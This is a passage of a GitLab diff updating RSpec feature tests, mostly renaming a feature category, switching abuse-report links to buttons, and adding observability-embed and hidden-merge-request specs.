+ expect(page).to have_button 'Report abuse to administrator'
expect(page).not_to have_link 'Submit as spam'
expect(page).not_to have_button 'Delete issue'
end
@@ -157,10 +157,10 @@ RSpec.describe 'issue header', :js, feature_category: :team_planning do
visit project_issue_path(project, authored_issue)
end
- it 'does not show "Report abuse" link in dropdown' do
+ it 'does not show "Report abuse" button in dropdown' do
click_button 'Issue actions'
- expect(page).not_to have_link 'Report abuse to administrator'
+ expect(page).not_to have_button 'Report abuse to administrator'
end
end
end
diff --git a/spec/features/issues/user_creates_issue_spec.rb b/spec/features/issues/user_creates_issue_spec.rb
index a4b8cb91999..df039493cec 100644
--- a/spec/features/issues/user_creates_issue_spec.rb
+++ b/spec/features/issues/user_creates_issue_spec.rb
@@ -161,6 +161,11 @@ RSpec.describe "User creates issue", feature_category: :team_planning do
let(:project) { create(:project, :public, :repository) }
before do
+ # With multistore feature flags enabled (using an actual Redis store instead of NullStore),
+ # it somehow writes an invalid content to Redis and the specs would fail.
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: false)
+ stub_feature_flags(use_primary_store_as_default_for_repository_cache: false)
+
project.repository.create_file(
user,
'.gitlab/issue_templates/bug.md',
diff --git a/spec/features/issues/user_edits_issue_spec.rb b/spec/features/issues/user_edits_issue_spec.rb
index 223832a6ede..19b2633969d 100644
--- a/spec/features/issues/user_edits_issue_spec.rb
+++ b/spec/features/issues/user_edits_issue_spec.rb
@@ -107,14 +107,14 @@ RSpec.describe "Issues > User edits issue", :js, feature_category: :team_plannin
end
it 'places focus on the web editor' do
- toggle_editing_mode_selector = '[data-testid="toggle-editing-mode-button"] label'
content_editor_focused_selector = '[data-testid="content-editor"].is-focused'
markdown_field_focused_selector = 'textarea:focus'
click_edit_issue_description
expect(page).to have_selector(markdown_field_focused_selector)
- find(toggle_editing_mode_selector, text: 'Rich text').click
+ click_on _('View rich text')
+ click_on _('Rich text')
expect(page).not_to have_selector(content_editor_focused_selector)
@@ -124,7 +124,8 @@ RSpec.describe "Issues > User edits issue", :js, feature_category: :team_plannin
expect(page).to have_selector(content_editor_focused_selector)
- find(toggle_editing_mode_selector, text: 'Source').click
+ click_on _('View markdown')
+ click_on _('Markdown')
expect(page).not_to have_selector(markdown_field_focused_selector)
end
diff --git a/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb b/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb
index b9a25f47da9..91b18454af5 100644
--- a/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb
+++ b/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Issues > Real-time sidebar', :js, feature_category: :team_planning do
+RSpec.describe 'Issues > Real-time sidebar', :js, :with_license, feature_category: :team_planning do
let_it_be(:project) { create(:project, :public) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:user) { create(:user) }
diff --git a/spec/features/jira_connect/branches_spec.rb b/spec/features/jira_connect/branches_spec.rb
index 489d3743a2a..8cf07f2ade2 100644
--- a/spec/features/jira_connect/branches_spec.rb
+++ b/spec/features/jira_connect/branches_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Create GitLab branches from Jira', :js, feature_category: :integrations do
+ include ListboxHelpers
+
let_it_be(:alice) { create(:user, name: 'Alice') }
let_it_be(:bob) { create(:user, name: 'Bob') }
@@ -42,7 +44,7 @@ RSpec.describe 'Create GitLab branches from Jira', :js, feature_category: :integ
expect(page).not_to have_text('Alice / bar')
- click_on 'Alice / foo'
+ find('span', text: 'Alice / foo', match: :first).click
end
expect(page).to have_field('Branch name', with: 'ACME-123-my-issue-title')
@@ -57,11 +59,11 @@ RSpec.describe 'Create GitLab branches from Jira', :js, feature_category: :integ
# Switch to project2
- click_on 'Alice / foo'
+ find('span', text: 'Alice / foo', match: :first).click
within_dropdown do
fill_in 'Search', with: ''
- click_on 'Alice / bar'
+ find('span', text: 'Alice / bar', match: :first).click
end
click_on 'master'
@@ -70,9 +72,7 @@ RSpec.describe 'Create GitLab branches from Jira', :js, feature_category: :integ
fill_in 'Search', with: source_branch
wait_for_requests
- within '[role="listbox"]' do
- find('li', text: source_branch).click
- end
+ select_listbox_item(source_branch)
fill_in 'Branch name', with: new_branch
click_on 'Create branch'
diff --git a/spec/features/markdown/observability_spec.rb b/spec/features/markdown/observability_spec.rb
index 0c7d8cc006b..86caf3eb1b1 100644
--- a/spec/features/markdown/observability_spec.rb
+++ b/spec/features/markdown/observability_spec.rb
@@ -80,4 +80,78 @@ RSpec.describe 'Observability rendering', :js do
end
end
end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(observability_group_tab: false)
+ end
+
+ context 'when embedding in an issue' do
+ let(:issue) do
+ create(:issue, project: project, description: observable_url)
+ end
+
+ before do
+ visit project_issue_path(project, issue)
+ wait_for_requests
+ end
+
+ it 'does not render iframe in description' do
+ page.within('.description') do
+ expect(page.html).not_to include(expected)
+ expect(page.html).to include(observable_url)
+ end
+ end
+
+ it 'does not render iframe in comment' do
+ expect(page).not_to have_css('.note-text')
+
+ page.within('.js-main-target-form') do
+ fill_in('note[note]', with: observable_url)
+ click_button('Comment')
+ end
+
+ wait_for_requests
+
+ page.within('.note-text') do
+ expect(page.html).not_to include(expected)
+ expect(page.html).to include(observable_url)
+ end
+ end
+ end
+
+ context 'when embedding in an MR' do
+ let(:merge_request) do
+ create(:merge_request, source_project: project, target_project: project, description: observable_url)
+ end
+
+ before do
+ visit merge_request_path(merge_request)
+ wait_for_requests
+ end
+
+ it 'does not render iframe in description' do
+ page.within('.description') do
+ expect(page.html).not_to include(expected)
+ expect(page.html).to include(observable_url)
+ end
+ end
+
+ it 'does not render iframe in comment' do
+ expect(page).not_to have_css('.note-text')
+
+ page.within('.js-main-target-form') do
+ fill_in('note[note]', with: observable_url)
+ click_button('Comment')
+ end
+
+ wait_for_requests
+
+ page.within('.note-text') do
+ expect(page.html).not_to include(expected)
+ expect(page.html).to include(observable_url)
+ end
+ end
+ end
+ end
end
diff --git a/spec/features/markdown/sandboxed_mermaid_spec.rb b/spec/features/markdown/sandboxed_mermaid_spec.rb
index 26b397a1fd5..0282d02d809 100644
--- a/spec/features/markdown/sandboxed_mermaid_spec.rb
+++ b/spec/features/markdown/sandboxed_mermaid_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'Sandboxed Mermaid rendering', :js, feature_category: :team_plann
context 'in an issue' do
let(:issue) { create(:issue, project: project, description: description) }
- it 'includes mermaid frame correctly' do
+ it 'includes mermaid frame correctly', :with_license do
visit project_issue_path(project, issue)
wait_for_requests
diff --git a/spec/features/merge_request/admin_views_hidden_merge_request_spec.rb b/spec/features/merge_request/admin_views_hidden_merge_request_spec.rb
new file mode 100644
index 00000000000..0dbb42a633b
--- /dev/null
+++ b/spec/features/merge_request/admin_views_hidden_merge_request_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Admin views hidden merge request', feature_category: :insider_threat do
+ context 'when signed in as admin and viewing a hidden merge request', :js do
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:author) { create(:user, :banned) }
+ let_it_be(:project) { create(:project, :repository) }
+ let!(:merge_request) { create(:merge_request, source_project: project, author: author) }
+
+ before do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
+ visit(project_merge_request_path(project, merge_request))
+ end
+
+ it 'shows a hidden merge request icon' do
+ page.within('.detail-page-header-body') do
+ tooltip = format(_('This %{issuable} is hidden because its author has been banned'),
+ issuable: _('merge request'))
+ expect(page).to have_css("div[data-testid='hidden'][title='#{tooltip}']")
+ expect(page).to have_css('svg[data-testid="spam-icon"]')
+ end
+ end
+ end
+end
diff --git a/spec/features/merge_request/batch_comments_spec.rb b/spec/features/merge_request/batch_comments_spec.rb
index e16c1ae094b..736c986d0fe 100644
--- a/spec/features/merge_request/batch_comments_spec.rb
+++ b/spec/features/merge_request/batch_comments_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > Batch comments', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > Batch comments', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
include RepoHelpers
diff --git a/spec/features/merge_request/close_reopen_report_toggle_spec.rb b/spec/features/merge_request/close_reopen_report_toggle_spec.rb
index 63ed355b16e..9b8e50a31e3 100644
--- a/spec/features/merge_request/close_reopen_report_toggle_spec.rb
+++ b/spec/features/merge_request/close_reopen_report_toggle_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_review do
+RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_review_workflow do
include IssuablesHelper
let(:user) { create(:user) }
@@ -27,12 +27,12 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
find('[data-testid="merge-request-actions"]').click
expect(container).to have_link("Close merge request")
- expect(container).to have_link('Report abuse to administrator')
+ expect(container).to have_button('Report abuse to administrator')
end
it 'links to Report Abuse' do
find('[data-testid="merge-request-actions"]').click
- click_link 'Report abuse to administrator'
+ click_button 'Report abuse to administrator'
expect(page).to have_content('Report abuse to administrator')
end
@@ -47,7 +47,7 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
expect(container).to have_link('Edit')
expect(container).to have_link('Mark as draft')
expect(container).to have_link('Close merge request')
- expect(container).to have_link('Report abuse to administrator')
+ expect(container).to have_button('Report abuse to administrator')
expect(container).not_to have_link('Reopen merge request')
end
end
@@ -59,7 +59,7 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
find('[data-testid="merge-request-actions"]').click
expect(container).to have_link('Edit')
- expect(container).to have_link('Report abuse to administrator')
+ expect(container).to have_button('Report abuse to administrator')
expect(container).to have_link('Reopen merge request')
expect(container).not_to have_link('Close merge request')
end
@@ -73,7 +73,7 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
expect(container).to have_link('Edit')
expect(container).to have_link('Reopen merge request')
expect(container).not_to have_link('Close merge request')
- expect(container).not_to have_link('Report abuse to administrator')
+ expect(container).not_to have_button('Report abuse to administrator')
end
end
end
@@ -83,7 +83,7 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
it 'shows only the `Edit` button' do
expect(container).to have_link(exact_text: 'Edit')
- expect(container).not_to have_link('Report abuse to administrator')
+ expect(container).not_to have_button('Report abuse to administrator')
expect(container).not_to have_button('Close merge request')
expect(container).not_to have_button('Reopen merge request')
end
@@ -93,7 +93,7 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
it 'shows only the `Edit` button' do
expect(container).to have_link(exact_text: 'Edit')
- expect(container).not_to have_link('Report abuse to administrator')
+ expect(container).not_to have_button('Report abuse to administrator')
expect(container).not_to have_button('Close merge request')
expect(container).not_to have_button('Reopen merge request')
end
@@ -101,7 +101,7 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
end
end
- context 'when user doesnt have permission to update' do
+ context 'when user doesnt have permission to update', :js do
let(:cant_project) { create(:project, :repository) }
let(:cant_issuable) { create(:merge_request, source_project: cant_project) }
@@ -112,7 +112,9 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle', feature_category: :code_r
end
it 'only shows a `Report abuse` button' do
- expect(container).to have_link('Report abuse to administrator')
+ find('[data-testid="merge-request-actions"]').click
+
+ expect(container).to have_button('Report abuse to administrator')
expect(container).not_to have_button('Close merge request')
expect(container).not_to have_button('Reopen merge request')
expect(container).not_to have_link(exact_text: 'Edit')
diff --git a/spec/features/merge_request/maintainer_edits_fork_spec.rb b/spec/features/merge_request/maintainer_edits_fork_spec.rb
index bd040a5b894..b8dc3af8a6a 100644
--- a/spec/features/merge_request/maintainer_edits_fork_spec.rb
+++ b/spec/features/merge_request/maintainer_edits_fork_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'a maintainer edits files on a source-branch of an MR from a fork', :js, :sidekiq_might_not_need_inline,
-feature_category: :code_review do
+feature_category: :code_review_workflow do
include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
include ProjectForksHelper
let(:user) { create(:user, username: 'the-maintainer') }
diff --git a/spec/features/merge_request/merge_request_discussion_lock_spec.rb b/spec/features/merge_request/merge_request_discussion_lock_spec.rb
index b48d4d80647..11ec2a86b43 100644
--- a/spec/features/merge_request/merge_request_discussion_lock_spec.rb
+++ b/spec/features/merge_request/merge_request_discussion_lock_spec.rb
@@ -4,7 +4,7 @@
require 'spec_helper'
-RSpec.describe 'Merge Request Discussion Lock', :js, feature_category: :code_review do
+RSpec.describe 'Merge Request Discussion Lock', :js, feature_category: :code_review_workflow do
let(:user) { create(:user) }
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project, author: user) }
diff --git a/spec/features/merge_request/user_accepts_merge_request_spec.rb b/spec/features/merge_request/user_accepts_merge_request_spec.rb
index dda22abada0..8ff0c294b24 100644
--- a/spec/features/merge_request/user_accepts_merge_request_spec.rb
+++ b/spec/features/merge_request/user_accepts_merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User accepts a merge request', :js, :sidekiq_might_not_need_inline, feature_category: :code_review do
+RSpec.describe 'User accepts a merge request', :js, :sidekiq_might_not_need_inline, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request, :simple, source_project: project) }
let(:project) { create(:project, :public, :repository) }
let(:user) { create(:user) }
diff --git a/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb b/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
index cf6836b544b..0ff773ef02d 100644
--- a/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
+++ b/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'create a merge request, allowing commits from members who can merge to the target branch', :js,
-feature_category: :code_review do
+feature_category: :code_review_workflow do
include ProjectForksHelper
let(:user) { create(:user) }
let(:target_project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_request/user_approves_spec.rb b/spec/features/merge_request/user_approves_spec.rb
index bfb6a3ec8de..5b5ad4468ec 100644
--- a/spec/features/merge_request/user_approves_spec.rb
+++ b/spec/features/merge_request/user_approves_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User approves', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User approves', :js, feature_category: :code_review_workflow do
let(:user) { create(:user) }
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project) }
diff --git a/spec/features/merge_request/user_assigns_themselves_reviewer_spec.rb b/spec/features/merge_request/user_assigns_themselves_reviewer_spec.rb
index 2b93f88e96b..711b2db8a32 100644
--- a/spec/features/merge_request/user_assigns_themselves_reviewer_spec.rb
+++ b/spec/features/merge_request/user_assigns_themselves_reviewer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User assigns themselves as a reviewer', feature_category: :code_review do
+RSpec.describe 'Merge request > User assigns themselves as a reviewer', feature_category: :code_review_workflow do
let_it_be(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) { create(:merge_request, :simple, source_project: project, author: user, description: "test mr") }
diff --git a/spec/features/merge_request/user_assigns_themselves_spec.rb b/spec/features/merge_request/user_assigns_themselves_spec.rb
index 826904bd165..ed4ea91f704 100644
--- a/spec/features/merge_request/user_assigns_themselves_spec.rb
+++ b/spec/features/merge_request/user_assigns_themselves_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User assigns themselves', feature_category: :code_review do
+RSpec.describe 'Merge request > User assigns themselves', feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:issue1) { create(:issue, project: project) }
diff --git a/spec/features/merge_request/user_awards_emoji_spec.rb b/spec/features/merge_request/user_awards_emoji_spec.rb
index dceac8d6a69..f43672942ff 100644
--- a/spec/features/merge_request/user_awards_emoji_spec.rb
+++ b/spec/features/merge_request/user_awards_emoji_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User awards emoji', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User awards emoji', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) { create(:merge_request, source_project: project, author: create(:user)) }
diff --git a/spec/features/merge_request/user_clicks_merge_request_tabs_spec.rb b/spec/features/merge_request/user_clicks_merge_request_tabs_spec.rb
index 3e3ff91ad19..90cf07831ba 100644
--- a/spec/features/merge_request/user_clicks_merge_request_tabs_spec.rb
+++ b/spec/features/merge_request/user_clicks_merge_request_tabs_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User clicks on merge request tabs', :js, feature_category: :code_review do
+RSpec.describe 'User clicks on merge request tabs', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
diff --git a/spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb b/spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb
index c5ef6b912fe..537702df12d 100644
--- a/spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb
+++ b/spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'User closes/reopens a merge request', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/297500',
- feature_category: :code_review do
+ feature_category: :code_review_workflow do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
diff --git a/spec/features/merge_request/user_comments_on_commit_spec.rb b/spec/features/merge_request/user_comments_on_commit_spec.rb
index 64fe144cd0d..0538f367022 100644
--- a/spec/features/merge_request/user_comments_on_commit_spec.rb
+++ b/spec/features/merge_request/user_comments_on_commit_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User comments on a commit', :js, feature_category: :code_review do
+RSpec.describe 'User comments on a commit', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
include RepoHelpers
diff --git a/spec/features/merge_request/user_comments_on_diff_spec.rb b/spec/features/merge_request/user_comments_on_diff_spec.rb
index f1a942d5708..66b87148eb2 100644
--- a/spec/features/merge_request/user_comments_on_diff_spec.rb
+++ b/spec/features/merge_request/user_comments_on_diff_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User comments on a diff', :js, feature_category: :code_review do
+RSpec.describe 'User comments on a diff', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
include RepoHelpers
diff --git a/spec/features/merge_request/user_comments_on_merge_request_spec.rb b/spec/features/merge_request/user_comments_on_merge_request_spec.rb
index d5ad78746f4..9335615b4c7 100644
--- a/spec/features/merge_request/user_comments_on_merge_request_spec.rb
+++ b/spec/features/merge_request/user_comments_on_merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User comments on a merge request', :js, feature_category: :code_review do
+RSpec.describe 'User comments on a merge request', :js, feature_category: :code_review_workflow do
include RepoHelpers
let(:project) { create(:project, :repository) }
diff --git a/spec/features/merge_request/user_creates_image_diff_notes_spec.rb b/spec/features/merge_request/user_creates_image_diff_notes_spec.rb
index eb7894f4ef7..1d7a3fae371 100644
--- a/spec/features/merge_request/user_creates_image_diff_notes_spec.rb
+++ b/spec/features/merge_request/user_creates_image_diff_notes_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User creates image diff notes', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User creates image diff notes', :js, feature_category: :code_review_workflow do
include NoteInteractionHelpers
let(:project) { create(:project, :public, :repository) }
diff --git a/spec/features/merge_request/user_creates_merge_request_spec.rb b/spec/features/merge_request/user_creates_merge_request_spec.rb
index 50629f11959..1717069a259 100644
--- a/spec/features/merge_request/user_creates_merge_request_spec.rb
+++ b/spec/features/merge_request/user_creates_merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User creates a merge request', :js, feature_category: :code_review do
+RSpec.describe 'User creates a merge request', :js, feature_category: :code_review_workflow do
include ProjectForksHelper
shared_examples 'creates a merge request' do
diff --git a/spec/features/merge_request/user_creates_mr_spec.rb b/spec/features/merge_request/user_creates_mr_spec.rb
index 5effde234cd..523027582b3 100644
--- a/spec/features/merge_request/user_creates_mr_spec.rb
+++ b/spec/features/merge_request/user_creates_mr_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User creates MR', feature_category: :code_review do
+RSpec.describe 'Merge request > User creates MR', feature_category: :code_review_workflow do
include ProjectForksHelper
before do
diff --git a/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb b/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb
index 4f1119d6c33..3c30ef02a19 100644
--- a/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb
+++ b/spec/features/merge_request/user_customizes_merge_commit_message_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request < User customizes merge commit message', :js, feature_category: :code_review do
+RSpec.describe 'Merge request < User customizes merge commit message', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:issue_1) { create(:issue, project: project) }
diff --git a/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb b/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb
index c04040dd6fd..60631027d9d 100644
--- a/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb
+++ b/spec/features/merge_request/user_edits_assignees_sidebar_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User edits assignees sidebar', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User edits assignees sidebar', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:protected_branch) { create(:protected_branch, :maintainers_can_push, name: 'master', project: project) }
let(:merge_request) { create(:merge_request, :simple, source_project: project, target_branch: protected_branch.name) }
diff --git a/spec/features/merge_request/user_edits_merge_request_spec.rb b/spec/features/merge_request/user_edits_merge_request_spec.rb
index 6701c7d91ae..839081d00dc 100644
--- a/spec/features/merge_request/user_edits_merge_request_spec.rb
+++ b/spec/features/merge_request/user_edits_merge_request_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User edits a merge request', :js, feature_category: :code_review do
+RSpec.describe 'User edits a merge request', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :repository) }
let(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
let(:user) { create(:user) }
diff --git a/spec/features/merge_request/user_edits_mr_spec.rb b/spec/features/merge_request/user_edits_mr_spec.rb
index 18e6827a872..6fcbfd309e2 100644
--- a/spec/features/merge_request/user_edits_mr_spec.rb
+++ b/spec/features/merge_request/user_edits_mr_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User edits MR', feature_category: :code_review do
+RSpec.describe 'Merge request > User edits MR', feature_category: :code_review_workflow do
include ProjectForksHelper
before do
diff --git a/spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb b/spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb
index 38c76314b9e..26a9b955e2d 100644
--- a/spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb
+++ b/spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User edits reviewers sidebar', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User edits reviewers sidebar', :js, feature_category: :code_review_workflow do
context 'with invite members considerations' do
let_it_be(:merge_request) { create(:merge_request) }
let_it_be(:project) { merge_request.project }
diff --git a/spec/features/merge_request/user_expands_diff_spec.rb b/spec/features/merge_request/user_expands_diff_spec.rb
index 8adbdcd310c..9fbb5773eae 100644
--- a/spec/features/merge_request/user_expands_diff_spec.rb
+++ b/spec/features/merge_request/user_expands_diff_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User expands diff', :js, feature_category: :code_review do
+RSpec.describe 'User expands diff', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_branch: 'expand-collapse-files', source_project: project, target_project: project) }
diff --git a/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb b/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
index 1b9b3941714..a013666a496 100644
--- a/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
+++ b/spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Batch diffs', :js, feature_category: :code_review do
+RSpec.describe 'Batch diffs', :js, feature_category: :code_review_workflow do
include MergeRequestDiffHelpers
include RepoHelpers
diff --git a/spec/features/merge_request/user_locks_discussion_spec.rb b/spec/features/merge_request/user_locks_discussion_spec.rb
index 1bfd52d49e8..a603a5c1e0b 100644
--- a/spec/features/merge_request/user_locks_discussion_spec.rb
+++ b/spec/features/merge_request/user_locks_discussion_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User locks discussion', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User locks discussion', :js, feature_category: :code_review_workflow do
let(:user) { create(:user) }
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project) }
diff --git a/spec/features/merge_request/user_manages_subscription_spec.rb b/spec/features/merge_request/user_manages_subscription_spec.rb
index 16d869fc5a1..d4ccc4a93b5 100644
--- a/spec/features/merge_request/user_manages_subscription_spec.rb
+++ b/spec/features/merge_request/user_manages_subscription_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'User manages subscription', :js, feature_category: :code_review do
+RSpec.describe 'User manages subscription', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
let(:user) { create(:user) }
diff --git a/spec/features/merge_request/user_marks_merge_request_as_draft_spec.rb b/spec/features/merge_request/user_marks_merge_request_as_draft_spec.rb
index 201cdc94b56..8cbc2b975e4 100644
--- a/spec/features/merge_request/user_marks_merge_request_as_draft_spec.rb
+++ b/spec/features/merge_request/user_marks_merge_request_as_draft_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User marks merge request as draft', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User marks merge request as draft', :js, feature_category: :code_review_workflow do
let(:user) { create(:user) }
let(:project) { create(:project, :public, :repository) }
let(:merge_request) { create(:merge_request, source_project: project) }
diff --git a/spec/features/merge_request/user_merges_immediately_spec.rb b/spec/features/merge_request/user_merges_immediately_spec.rb
index b0aeea997f0..79c166434aa 100644
--- a/spec/features/merge_request/user_merges_immediately_spec.rb
+++ b/spec/features/merge_request/user_merges_immediately_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge requests > User merges immediately', :js, feature_category: :code_review do
+RSpec.describe 'Merge requests > User merges immediately', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let!(:merge_request) do
diff --git a/spec/features/merge_request/user_merges_merge_request_spec.rb b/spec/features/merge_request/user_merges_merge_request_spec.rb
index 4196fdd5dac..6ffb33603d5 100644
--- a/spec/features/merge_request/user_merges_merge_request_spec.rb
+++ b/spec/features/merge_request/user_merges_merge_request_spec.rb
@@ -2,7 +2,7 @@
require "spec_helper"
-RSpec.describe "User merges a merge request", :js, feature_category: :code_review do
+RSpec.describe "User merges a merge request", :js, feature_category: :code_review_workflow do
let(:user) { project.first_owner }
before do
diff --git a/spec/features/merge_request/user_merges_only_if_pipeline_succeeds_spec.rb b/spec/features/merge_request/user_merges_only_if_pipeline_succeeds_spec.rb
index 447418b5a4b..c73ba1bdbe5 100644
--- a/spec/features/merge_request/user_merges_only_if_pipeline_succeeds_spec.rb
+++ b/spec/features/merge_request/user_merges_only_if_pipeline_succeeds_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User merges only if pipeline succeeds', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User merges only if pipeline succeeds', :js, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request_with_diffs) }
let(:project) { merge_request.target_project }
diff --git a/spec/features/merge_request/user_merges_when_pipeline_succeeds_spec.rb b/spec/features/merge_request/user_merges_when_pipeline_succeeds_spec.rb
index 78a21527794..6d2c8f15a82 100644
--- a/spec/features/merge_request/user_merges_when_pipeline_succeeds_spec.rb
+++ b/spec/features/merge_request/user_merges_when_pipeline_succeeds_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Merge request > User merges when pipeline succeeds', :js, feature_category: :code_review do
+RSpec.describe 'Merge request > User merges when pipeline succeeds', :js, feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) do
diff --git a/spec/features/merge_request/user_opens_checkout_branch_modal_spec.rb b/spec/features/merge_request/user_opens_checkout_branch_modal_spec.rb
index 116de50f2a2..7cb1c95f6dc 100644
